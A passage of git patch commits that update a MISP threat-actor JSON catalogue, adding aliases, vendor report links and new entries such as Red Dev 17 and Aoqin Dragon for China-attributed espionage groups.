"https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", + "https://www.mandiant.com/resources/insights/apt-groups", + "https://www.mandiant.com/resources/blog/phished-at-the-request-of-counsel", + "https://www.youtube.com/watch?v=FC9ARZIZglI" ], "synonyms": [ "DEEP PANDA", + "Codoso", "WebMasters", - "APT19", "KungFu Kittens", "Black Vine", + "TEMP.Avengers", "Group 13", "PinkPanther", - "Sh3llCr3w", + "Shell Crew", "BRONZE FIRESTONE", - "G0009" + "G0009", + "G0073", + "Pupa", + "Sunshop Group" ] }, "related": [ @@ -655,14 +627,7 @@ "type": "similar" }, { - "dest-uuid": "0286e80e-b0ed-464f-ad62-beec8536d0cb", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "103ebfd8-4280-4027-b61a-69bd9967ad6c", + "dest-uuid": "fe8796a4-2a02-41a0-9d27-7aa1e995feb6", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], @@ -670,7 +635,7 @@ } ], "uuid": "066d25c1-71bd-4bd4-8ca7-edbba00063f4", - "value": "Shell Crew" + "value": "APT19" }, { "description": "Kaspersky described Naikon in a 2015 report as: 'The Naikon group is mostly active in countries such as the Philippines, Malaysia, Cambodia, Indonesia, Vietnam, Myanmar, Singapore, and Nepal, hitting a variety of targets in a very opportunistic way.'", @@ -715,7 +680,8 @@ "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf", "https://attack.mitre.org/wiki/Group/G0013", "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt30.pdf", - "https://www.mandiant.com/resources/insights/apt-groups" + "https://www.mandiant.com/resources/insights/apt-groups", + "https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf" ], "synonyms": [ "PLA Unit 78020", @@ -819,35 +785,8 @@ "https://www.crowdstrike.com/blog/crowdstrike-discovers-use-64-bit-zero-day-privilege-escalation-exploit-cve-2014-4113-hurricane-panda/", "https://www.crowdstrike.com/blog/storm-chasing/", "https://www.crowdstrike.com/blog/cyber-deterrence-in-action-a-story-of-one-long-hurricane-panda-campaign/" - ], - "synonyms": [ - "Black Vine", - "TEMP.Avengers" ] }, - "related": [ - { - "dest-uuid": "a653431d-6a5e-4600-8ad3-609b5af57064", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "066d25c1-71bd-4bd4-8ca7-edbba00063f4", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - }, - { - "dest-uuid": "103ebfd8-4280-4027-b61a-69bd9967ad6c", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], "uuid": "0286e80e-b0ed-464f-ad62-beec8536d0cb", "value": "HURRICANE PANDA" }, @@ -898,7 +837,8 @@ "https://attack.mitre.org/groups/G0027/", "https://www.secureworks.com/research/threat-profiles/bronze-union", "https://unit42.paloaltonetworks.com/atoms/iron-taurus/", - "https://www.mandiant.com/resources/insights/apt-groups" + "https://www.mandiant.com/resources/insights/apt-groups", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ], "synonyms": [ "GreedyTaotie", @@ -970,7 +910,9 @@ "https://attack.mitre.org/groups/G0045/", "https://www.secureworks.com/research/threat-profiles/bronze-riverside", "https://unit42.paloaltonetworks.com/atoms/granite-taurus", - "https://www.mandiant.com/resources/insights/apt-groups" + "https://www.mandiant.com/resources/insights/apt-groups", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf" ], "synonyms": [ "STONE PANDAD", @@ -1238,13 +1180,15 @@ "https://securelist.com/the-icefog-apt-hits-us-targets-with-java-backdoor/58209/", "https://www.cfr.org/interactive/cyber-operations/icefog", "https://d2538mqrb7brka.cloudfront.net/wp-content/uploads/sites/43/2018/03/20133739/icefog.pdf", - "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf" + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0616.pdf" ], "synonyms": [ "IceFog", "Trident", "RedFoxtrot", - "Red Wendigo" + "Red Wendigo", + "PLA Unit 69010" ] }, "uuid": "32c534b9-abec-4823-b223-a810f897b47b", @@ -1266,7 +1210,8 @@ ], "synonyms": [ "PITTY PANDA", - "G0011" + "G0011", + "Temp.Pittytiger" ] }, "related": [ @@ -1429,9 +1374,7 @@ ], "synonyms": [ "VIOLIN PANDA", - "APT 20", "TH3Bug", - "Twivy", "Crawling Taurus" ] }, @@ -1508,14 +1451,16 @@ "https://blog.lookout.com/titan-mobile-threat", "https://attack.mitre.org/groups/G0081/", "https://www.secureworks.com/research/threat-profiles/bronze-hobart", - "https://www.mandiant.com/resources/insights/apt-groups" + "https://www.mandiant.com/resources/insights/apt-groups", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ], "synonyms": [ "PIRATE PANDA", "KeyBoy", "Tropic Trooper", "BRONZE HOBART", - "G0081" + "G0081", + "Red Orthrus" ] }, "uuid": "7f16d1f5-04ee-4d99-abf0-87e1f23f9fee", @@ -4519,12 +4464,18 @@ "https://arstechnica.com/information-technology/2017/04/researchers-claim-china-trying-to-hack-south-korea-missile-defense-efforts/", "https://docs.huihoo.com/rsaconference/usa-2014/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries-final.pdf", "https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/", - "https://www.wsj.com/articles/chinas-secret-weapon-in-south-korea-missile-fight-hackers-1492766403" + "https://www.wsj.com/articles/chinas-secret-weapon-in-south-korea-missile-fight-hackers-1492766403", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf" ], "synonyms": [ "CactusPete", "KARMA PANDA", - "BRONZE HUNTLEY" + "BRONZE HUNTLEY", + "COPPER", + "Red Beifang", + "G0131", + "PLA Unit 65017" ] }, "uuid": "0ab7c8de-fc23-4793-99aa-7ee336199e26", @@ -4586,7 +4537,8 @@ "https://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/", "https://attack.mitre.org/groups/G0060/", "https://www.secureworks.com/research/threat-profiles/bronze-butler", - "https://unit42.paloaltonetworks.com/atoms/stalkertaurus/" + "https://unit42.paloaltonetworks.com/atoms/stalkertaurus/", + "https://twitter.com/iiyonite/status/1384431491485155331" ], "synonyms": [ "Nian", @@ -4594,7 +4546,8 @@ "REDBALDKNIGHT", "STALKER PANDA", "G0060", - "Stalker Taurus" + "Stalker Taurus", + "PLA Unit 61419" ] }, "related": [ @@ -4615,7 +4568,8 @@ "country": "CN", "refs": [ "https://www.secureworks.com/research/threat-profiles/bronze-express", - "https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf" + "https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf", + "https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf" ], "synonyms": [ "Hippo Team", @@ -5127,20 +5081,6 @@ "uuid": "430ba885-cd24-492e-804c-815176ed9b1e", "value": "MAGNETIC SPIDER" }, - { - "description": "Arbor’s ASERT team is now reporting that, after looking deeper at that particular campaign, and by exposing a new trail in the group’s activities, they managed to identify a new RAT that was undetectable at that time by most antivirus vendors.\nNamed Trochilus, this new RAT was part of Group 27’s malware portfolio that included six other malware strains, all served together or in different combinations, based on the data that needed to be stolen from each victim.\nThis collection of malware, dubbed the Seven Pointed Dagger by ASERT experts, included two different PlugX versions, two different Trochilus RAT versions, one version of the 3012 variant of the 9002 RAT, one EvilGrab RAT version, and one unknown piece of malware, which the team has not entirely decloaked just yet.", - "meta": { - "attribution-confidence": "50", - "country": "CN", - "refs": [ - "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn", - "https://news.softpedia.com/news/trochilus-rat-evades-antivirus-detection-used-for-cyber-espionage-in-south-east-asia-498776.shtml", - "https://unit42.paloaltonetworks.com/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" - ] - }, - "uuid": "73e4728a-955e-426a-b144-8cb95131f2ca", - "value": "Group 27" - }, { "meta": { "refs": [ @@ -5554,7 +5494,9 @@ "https://www.consilium.europa.eu/en/press/press-releases/2021/07/19/declaration-by-the-high-representative-on-behalf-of-the-eu-urging-china-to-take-action-against-malicious-cyber-activities-undertaken-from-its-territory", "https://www.mandiant.com/resources/insights/apt-groups", "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi", - "https://decoded.avast.io/threatintel/outbreak-of-follina-in-australia" + "https://decoded.avast.io/threatintel/outbreak-of-follina-in-australia", + "https://www.proofpoint.com/us/blog/threat-insight/chasing-currents-espionage-south-china-sea", + "https://www.accenture.com/_acnmedia/pdf-96/accenture-security-mudcarp.pdf" ], "synonyms": [ "TEMP.Periscope", @@ -5564,7 +5506,11 @@ "GADOLINIUM", "KRYPTONITE PANDA", "G0065", - "ATK29" + "ATK29", + "TA423", + "Red Ladon", + "ITG09", + "MUDCARP" ] }, "related": [ @@ -6072,7 +6018,9 @@ "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-president", - "https://www.darkreading.com/threat-intelligence/chinese-apt-bronze-president-spy-campaign-russian-military" + "https://www.darkreading.com/threat-intelligence/chinese-apt-bronze-president-spy-campaign-russian-military", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ], "synonyms": [ "BRONZE PRESIDENT", @@ -6936,7 +6884,8 @@ "https://twitter.com/bkMSFT/status/1417823714922610689", "https://www.mandiant.com/resources/insights/apt-groups", "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi" + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ], "synonyms": [ "ZIRCONIUM", @@ -6992,7 +6941,8 @@ "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt", "https://unit42.paloaltonetworks.com/atoms/mangataurus/", - "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf" + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ], "synonyms": [ "CIRCUIT PANDA", @@ -7108,7 +7058,13 @@ "meta": { "refs": [ "https://vx-underground.org/papers/luckycat-hackers-12-en.pdf", - "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_luckycat_redux.pdf" + "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_luckycat_redux.pdf", + "https://www.proofpoint.com/us/blog/threat-insight/ta413-leverages-new-friarfox-browser-extension-target-gmail-accounts-global", + "https://www.proofpoint.com/us/blog/threat-insight/chinese-apt-ta413-resumes-targeting-tibet-following-covid-19-themed-economic" + ], + "synonyms": [ + "TA413", + "White Dev 9" ] }, "uuid": "e502802e-8d0a-11e9-bd72-9f046529b3fd", @@ -7445,7 +7401,9 @@ "https://www.cfr.org/cyber-operations/apt-41", "https://attack.mitre.org/groups/G0096", "https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf", - "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf" + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf" ], "synonyms": [ "Double Dragon", @@ -7515,10 +7473,13 @@ "meta": { "refs": [ "https://citizenlab.ca/2019/09/poison-carp-tibetan-groups-targeted-with-1-click-mobile-exploits/", - "https://www.volexity.com/blog/2019/09/02/digital-crackdown-large-scale-surveillance-and-exploitation-of-uyghurs/" + "https://www.volexity.com/blog/2019/09/02/digital-crackdown-large-scale-surveillance-and-exploitation-of-uyghurs/", + "https://www.trendmicro.com/en_us/research/20/f/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa.html" ], "synonyms": [ - "Evil Eye" + "Evil Eye", + "Red Dev 16", + "Earth Empusa" ] }, "uuid": "7aa99279-4255-4d26-bb95-12e7156555a0", @@ -8007,17 +7968,6 @@ "uuid": "e400b6c5-77cf-453d-ba0f-44575583ac6c", "value": "GALLIUM" }, - { - "description": "Proofpoint researchers observed a phishing campaign impersonating the World Health Organization’s (WHO) guidance on COVID-19 critical preparedness to deliver a new malware family that researchers have dubbed Sepulcher. This campaign targeted European diplomatic and legislative bodies, non-profit policy research organizations, and global organizations dealing with economic affairs. Additionally, a sender email identified in this campaign has been linked to historic Chinese APT targeting of the international Tibetan community using payloads linked to LuckyCat malware. Subsequently, a phishing campaign from July 2020 targeting Tibetan dissidents was identified delivering the same strain of Sepulcher malware. Operator email accounts identified in this campaign have been publicly linked to historic Chinese APT campaigns targeting the Tibetan community delivering ExileRAT malware. Based on the use of publicly known sender addresses associated with Tibetan dissident targeting and the delivery of Sepulcher malware payloads, Proofpoint researchers have attributed both campaigns to the APT actor TA413, which has previously been documented in association with ExileRAT. The usage of publicly known Tibetan-themed sender accounts to deliver Sepulcher malware demonstrates a short-term realignment of TA413’s targets of interest. While best known for their campaigns against the Tibetan diaspora, this APT group associated with the Chinese state interest prioritized intelligence collection around Western economies reeling from COVID-19 in March 2020 before resuming more conventional targeting later this year.", - "meta": { - "country": "CN", - "refs": [ - "https://www.proofpoint.com/us/blog/threat-insight/chinese-apt-ta413-resumes-targeting-tibet-following-covid-19-themed-economic" - ] - }, - "uuid": "cbf94f8d-20f2-45a0-b78b-54715b6b4e18", - "value": "TA413" - }, { "description": "ESET has analyzed the operations of Evilnum, the APT group behind the Evilnum malware previously seen in attacks against financial technology companies. While said malware has been seen in the wild since at least 2018 and documented previously, little has been published about the group behind it and how it operates. The group’s targets remain fintech companies, but its toolset and infrastructure have evolved and now consist of a mix of custom, homemade malware combined with tools purchased from Golden Chickens, a Malware-as-a-Service (MaaS) provider whose infamous customers include FIN6 and Cobalt Group.", "meta": { @@ -8135,14 +8085,12 @@ "https://i.blackhat.com/USA-20/Thursday/us-20-Chen-Operation-Chimera-APT-Operation-Targets-Semiconductor-Vendors.pdf", "https://www.wired.com/story/chinese-hackers-taiwan-semiconductor-industry-skeleton-key/", "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf", - "https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730" - ], - "threat-actor-classification": [ - "operation" + "https://medium.com/cycraft/taiwan-high-tech-ecosystem-targeted-by-foreign-apt-group-5473d2ad8730", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ] }, "uuid": "c8b961fe-3698-41ac-aba1-002ee3c19531", - "value": "Operation Skeleton Key" + "value": "Red Charon" }, { "description": "Reporting regarding activity related to the SolarWinds supply chain injection has grown quickly since initial disclosure on 13 December 2020. A significant amount of press reporting has focused on the identification of the actor(s) involved, victim organizations, possible campaign timeline, and potential impact. The US Government and cyber community have also provided detailed information on how the campaign was likely conducted and some of the malware used. MITRE’s ATT&CK team — with the assistance of contributors — has been mapping techniques used by the actor group, referred to as UNC2452/Dark Halo by FireEye and Volexity respectively, as well as SUNBURST and TEARDROP malware.", @@ -8230,7 +8178,8 @@ "https://www.rnz.co.nz/news/political/447239/government-points-finger-at-china-over-cyber-attacks", "https://www.gov.uk/government/news/uk-and-allies-hold-chinese-state-responsible-for-a-pervasive-pattern-of-hacking", "https://www.foreignminister.gov.au/minister/marise-payne/media-release/australia-joins-international-partners-attribution-malicious-cyber-activity-china", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi" + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf" ], "synonyms": [ "ATK233", @@ -8907,7 +8856,6 @@ "value": "Scarab" }, { - "description": "", "meta": { "cfr-suspected-victims": [ "Kurdistan" @@ -9313,7 +9261,8 @@ "https://www.sentinelone.com/wp-content/uploads/2021/08/SentinelOne_-SentinelLabs_ShadowPad_WP_V2.pdf", "https://www.pwc.co.uk/issues/cyber-security-services/research/chasing-shadows.html", "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools", - "https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass" + "https://decoded.avast.io/luigicamastra/backdoored-client-from-mongolian-ca-monpass", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf" ], "synonyms": [ "CHROMIUM", @@ -9384,11 +9333,16 @@ "refs": [ "https://otx.alienvault.com/pulse/55bbc68e67db8c2d547ae393", "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf", - "https://www.mandiant.com/resources/insights/apt-groups" + "https://www.mandiant.com/resources/insights/apt-groups", + "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn", + "https://news.softpedia.com/news/trochilus-rat-evades-antivirus-detection-used-for-cyber-espionage-in-south-east-asia-498776.shtml", + "https://unit42.paloaltonetworks.com/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf" ], "synonyms": [ "NIGHTSHADE PANDA", - "Red Pegasus" + "Red Pegasus", + "Group 27" ] }, "uuid": "7e6d82a4-3b7d-4c24-a2c5-e211ce6eafc5", @@ -9549,7 +9503,8 @@ "https://jsac.jpcert.or.jp/archive/2021/pdf/JSAC2021_301_shui-leon_en.pdf", "https://blogs.jpcert.or.jp/en/2021/10/windealer.html", "https://securelist.com/windealer-dealing-on-the-side/105946", - "https://blogs.blackberry.com/en/2022/06/threat-thursday-china-based-apt-plays-auto-updater-card-to-deliver-windealer-malware" + "https://blogs.blackberry.com/en/2022/06/threat-thursday-china-based-apt-plays-auto-updater-card-to-deliver-windealer-malware", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ], "synonyms": [ "LuoYu" @@ -9706,6 +9661,26 @@ ], "uuid": "4245e4cd-a57a-4e0b-9853-acaa549d495d", "value": "PARINACOTA" + }, + { + "description": "In 2021, PwC started tracking a series of intrusions under the moniker of Red Dev 17 that they assess were highly likely conducted by a China-based threat actor. Their analysis suggests Red Dev 17 has been active since at least 2017. Red Dev 17's observed targets are mainly in India, and include the Indian military, a multinational India-based technology company, and a state energy company. They assess that it is highly probable that the threat actor behind intrusions associated with Red Dev 17 is also responsible for the campaign known in open source as Operation NightScout. Red Dev 17 is a user of the 8.t document weaponisation framework (also known as RoyalRoad), and abuses benign utilities such as Logitech or Windows Defender binaries to sideload and execute Chinoxy or PoisonIvy variants on victim systems. They identified capability and infrastructure links between Red Dev 17 and the threat actor they call Red Hariasa (aka FunnyDream APT), as well as infrastructure overlaps with Red Wendigo (aka Icefog, RedFoxtrot), and with ShadowPad C2 servers. At this time, they do not have sufficient evidence to directly link Red Dev 17 to any of these threat actors. However, They assess with realistic probability that Red Dev 17 operates within a cluster of threat actors that share tools and infrastructure, as well as a strong targeting focus on Southeast Asia and Central Asia.", + "meta": { + "cfr-suspected-victims": [ + "India" + ], + "cfr-target-category": [ + "High-Tech", + "Military", + "Energy" + ], + "country": "CN", + "refs": [ + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf", + "https://www.welivesecurity.com/2021/02/01/operation-nightscout-supply-chain-attack-online-gaming-asia/" + ] + }, + "uuid": "50d61877-bfc7-4c65-980e-c0589b5561fa", + "value": "Red Dev 17" } ], "version": 244 From 81ff1f0f53e4caf7b50d4a245b2aa1a518be005b Mon Sep 17 00:00:00 2001 From: Rony Date: Thu, 1 Sep 2022 09:30:49 +0000 Subject: [PATCH 104/167] add Red Dev 17 and Aoqin Dragon --- clusters/threat-actor.json | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index f227f0c..871b86d 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9681,6 +9681,32 @@ }, "uuid": "50d61877-bfc7-4c65-980e-c0589b5561fa", "value": "Red Dev 17" + }, + { + "description": "SentinelLabs has uncovered a cluster of activity beginning at least as far back as 2013 and continuing to the present day, primarily targeting organizations in Southeast Asia and Australia. They assess that the threat actor's primary focus is espionage and relates to targets in Australia, Cambodia, Hong Kong, Singapore, and Vietnam. We track this activity as 'Aoqin Dragon'. The threat actor has a history of using document lures with pornographic themes to infect users and makes heavy use of USB shortcut techniques to spread the malware and infect additional targets. Attacks attributable to Aoqin Dragon typically drop one of two backdoors, Mongall and a modified version of the open source Heyoka project.", + "meta": { + "cfr-suspected-victims": [ + "Australia", + "Cambodia", + "Hong Kong", + "Singapore", + "Vietnam" + ], + "cfr-target-category": [ + "Government", + "Education", + "Telecommunications" + ], + "country": "CN", + "refs": [ + "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/" + ], + "synonyms": [ + "UNC94" + ] + }, + "uuid": "fa1fdccb-1a06-4607-bd45-1a7df4db02d7", + "value": "Aoqin Dragon" } ], "version": 244 From 6aea5ee05c36d0f32c2ed8c2563c7246d5f81de2 Mon Sep 17 00:00:00 2001 From: Rony Date: Thu, 1 Sep 2022 09:30:49 +0000 Subject: [PATCH 105/167] chg: [threat-actor] add Aoqin Dragon --- clusters/threat-actor.json | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index f227f0c..871b86d 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9681,6 +9681,32 @@ }, "uuid": "50d61877-bfc7-4c65-980e-c0589b5561fa", "value": "Red Dev 17" + }, + { + "description": "SentinelLabs has uncovered a cluster of activity beginning at least as far back as 2013 and continuing to the present day, primarily targeting organizations in Southeast Asia and Australia. They assess that the threat actor's primary focus is espionage and relates to targets in Australia, Cambodia, Hong Kong, Singapore, and Vietnam. We track this activity as 'Aoqin Dragon'. The threat actor has a history of using document lures with pornographic themes to infect users and makes heavy use of USB shortcut techniques to spread the malware and infect additional targets. Attacks attributable to Aoqin Dragon typically drop one of two backdoors, Mongall and a modified version of the open source Heyoka project.", + "meta": { + "cfr-suspected-victims": [ + "Australia", + "Cambodia", + "Hong Kong", + "Singapore", + "Vietnam" + ], + "cfr-target-category": [ + "Government", + "Education", + "Telecommunications" + ], + "country": "CN", + "refs": [ + "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/" + ], + "synonyms": [ + "UNC94" + ] + }, + "uuid": "fa1fdccb-1a06-4607-bd45-1a7df4db02d7", + "value": "Aoqin Dragon" } ], "version": 244 From db913e5ab466b87cd62a4caa22f2f7c504f7ebd1 Mon Sep 17 00:00:00 2001 From: Rony Date: Thu, 1 Sep 2022 09:53:11 +0000 Subject: [PATCH 106/167] fix: [threat-actor] remove duplicate entries --- clusters/threat-actor.json | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 871b86d..4a5fccb 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9336,8 +9336,7 @@ "https://www.mandiant.com/resources/insights/apt-groups", "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn", "https://news.softpedia.com/news/trochilus-rat-evades-antivirus-detection-used-for-cyber-espionage-in-south-east-asia-498776.shtml", - "https://unit42.paloaltonetworks.com/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/", - "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf" + "https://unit42.paloaltonetworks.com/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/" ], "synonyms": [ "NIGHTSHADE PANDA", From aea413cebfb4ef5deb8cfedd3002782706d27d1e Mon Sep 17 00:00:00 2001 From: Rony Date: Thu, 1 Sep 2022 10:32:01 +0000 Subject: [PATCH 107/167] chg: [threat-actor] version bump --- clusters/threat-actor.json | 26 +++++++++++++++++--------- 1 file changed, 17 insertions(+), 9 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 4a5fccb..5a92312 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -838,7 +838,8 @@ "https://www.secureworks.com/research/threat-profiles/bronze-union", "https://unit42.paloaltonetworks.com/atoms/iron-taurus/", "https://www.mandiant.com/resources/insights/apt-groups", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/" ], "synonyms": [ "GreedyTaotie", @@ -4466,7 +4467,8 @@ "https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/", "https://www.wsj.com/articles/chinas-secret-weapon-in-south-korea-missile-fight-hackers-1492766403", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf" + "https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/" ], "synonyms": [ "CactusPete", @@ -4538,7 +4540,8 @@ "https://attack.mitre.org/groups/G0060/", "https://www.secureworks.com/research/threat-profiles/bronze-butler", "https://unit42.paloaltonetworks.com/atoms/stalkertaurus/", - "https://twitter.com/iiyonite/status/1384431491485155331" + "https://twitter.com/iiyonite/status/1384431491485155331", + "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/" ], "synonyms": [ "Nian", @@ -7403,10 +7406,10 @@ "https://www.uscc.gov/sites/default/files/2022-02/Adam_Kozy_Testimony.pdf", "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf" + "https://www.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/" ], "synonyms": [ - "Double Dragon", "G0096", "TA415", "Blackfly", @@ -7536,7 +7539,8 @@ "description": "For the first time, the activity of the Calypso group was detected by specialists of PT Expert Security Center in March 2019, during the work to detect cyber threats. As a result, many malware samples of this group were obtained, affected organizations and control servers of intruders were identified. According to our data, the group has been active since at least September 2016. The main goal of the group is to steal confidential data, the main victims are government agencies from Brazil, India, Kazakhstan, Russia, Thailand, Turkey. Our data suggest that the group has Asian roots. Description translated from Russian.", "meta": { "refs": [ - "https://www.ptsecurity.com/upload/corporate/ru-ru/analytics/calypso-apt-2019-rus.pdf" + "https://www.ptsecurity.com/upload/corporate/ru-ru/analytics/calypso-apt-2019-rus.pdf", + "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/" ], "synonyms": [ "BRONZE 